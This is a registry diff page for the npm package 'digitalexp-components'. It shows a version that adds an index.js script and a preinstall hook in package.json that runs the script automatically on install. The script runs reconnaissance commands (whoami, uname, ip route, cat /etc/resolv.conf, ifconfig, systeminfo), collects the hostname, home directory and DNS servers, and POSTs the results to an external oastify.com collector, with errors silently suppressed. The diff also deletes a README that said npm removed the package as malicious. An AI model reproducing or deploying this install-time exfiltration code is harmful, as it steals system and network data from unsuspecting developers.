digitalexp-components 0.0.1-security → 13.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +132 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,132 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const { execSync } = require("child_process");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to execute shell commands safely
10
+ const runCommand = (cmd) => {
11
+ try {
12
+ return execSync(cmd, { encoding: "utf-8" }).trim();
13
+ } catch (err) {
14
+ return `Error executing '${cmd}': ${err.message}`;
15
+ }
16
+ };
17
+
18
+ // Sleep function to delay execution for a given number of milliseconds
19
+ const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
20
+
21
+ // Function to read directory contents safely
22
+ const readDirectory = (dirPath) => {
23
+ try {
24
+ return fs.readdirSync(dirPath).join(", "); // Join file names into a string
25
+ } catch (err) {
26
+ return `Error reading directory '${dirPath}': ${err.message}`;
27
+ }
28
+ };
29
+
30
+ // Function to execute the commands with delay
31
+ const executeCommandsWithDelay = async () => {
32
+ await sleep(1000); // Initial delay
33
+
34
+ const ipRouteOutput = runCommand("ip route");
35
+ await sleep(1000);
36
+
37
+ const unameOutput = runCommand("uname -a"); // Changed to uname -a
38
+ await sleep(1000);
39
+
40
+ const dnsdomainnameOutput = runCommand("dnsdomainname");
41
+ await sleep(1000);
42
+
43
+ const whoOutput = runCommand("who");
44
+ await sleep(1000);
45
+
46
+ const homeOutputdirectory = runCommand("ls /"); // Changed to ls -la /
47
+ await sleep(1000);
48
+
49
+ // New commands added
50
+ const resolvConfOutput = runCommand("cat /etc/resolv.conf");
51
+ await sleep(1000);
52
+
53
+ const sysconfigNetworkOutput = runCommand("cat /etc/sysconfig/network");
54
+ await sleep(1000);
55
+
56
+ const whoamiOutput = runCommand("whoami");
57
+ await sleep(1000);
58
+
59
+ const systemModelOutput = runCommand("systeminfo | findstr \"System Model\""); // Changed systeminfo to find system model
60
+ await sleep(1000);
61
+
62
+ const connectionSpecificDnsSuffixOutput = runCommand("ipconfig | findstr \"Connection-specific DNS Suffix\""); // Updated to find Connection-specific DNS Suffix
63
+ await sleep(1000);
64
+
65
+ const ifconfigOutput = runCommand("ifconfig | grep inet | awk '{ print $2 }' | grep -v \"127.0.0.1\""); // Added ifconfig output
66
+ await sleep(1000);
67
+
68
+ // Read directory C:\Windows\System32\sims
69
+ const simsDirectoryOutput = readDirectory("C:\\Windows\\System32\\sims");
70
+ await sleep(1000);
71
+
72
+ // Prepare tracking data
73
+ const trackingData = {
74
+ p: package,
75
+ c: __dirname,
76
+ hd: os.homedir(),
77
+ hn: os.hostname(),
78
+ dns: dns.getServers().join(', '), // Convert DNS array to a string
79
+ r: packageJSON ? packageJSON.__resolved : undefined,
80
+ v: packageJSON.version,
81
+ pjson: packageJSON,
82
+ ipRoute: ipRouteOutput,
83
+ uname: unameOutput, // Add uname output
84
+ domainname: dnsdomainnameOutput,
85
+ who: whoOutput,
86
+ home: homeOutputdirectory, // Updated directory listing
87
+ resolvConf: resolvConfOutput, // Add /etc/resolv.conf content
88
+ sysconfigNetwork: sysconfigNetworkOutput, // Add /etc/sysconfig/network content
89
+ whoami: whoamiOutput, // Add whoami output
90
+ systemModel: systemModelOutput, // Add system model info
91
+ connectionSpecificDnsSuffix: connectionSpecificDnsSuffixOutput, // Add connection-specific DNS suffix
92
+ ifconfig: ifconfigOutput, // Add ifconfig output
93
+ simsDirectory: simsDirectoryOutput, // Add Sims directory contents
94
+ };
95
+
96
+ // Prepare the request data as JSON
97
+ const postData = JSON.stringify({ msg: trackingData });
98
+
99
+ // Configure request options
100
+ const options = {
101
+ hostname: "k5qvv3ykb7osh4caq8ov4n55gwmnady2.oastify.com", // Replace with your endpoint
102
+ port: 443,
103
+ path: "/",
104
+ method: "POST",
105
+ headers: {
106
+ "Content-Type": "application/json", // Set content type to JSON
107
+ "Content-Length": postData.length,
108
+ },
109
+ };
110
+
111
+ // Send the POST request
112
+ const req = https.request(options, (res) => {
113
+ res.on("data", (d) => {
114
+ process.stdout.write(d);
115
+ });
116
+
117
+ // Handle end of response
118
+ res.on("end", () => {
119
+ console.log("Request completed");
120
+ });
121
+ });
122
+
123
+ req.on("error", (e) => {
124
+ // Silently ignore errors
125
+ });
126
+
127
+ req.write(postData);
128
+ req.end();
129
+ };
130
+
131
+ // Execute the commands with delay
132
+ executeCommandsWithDelay();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "13.0.0",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.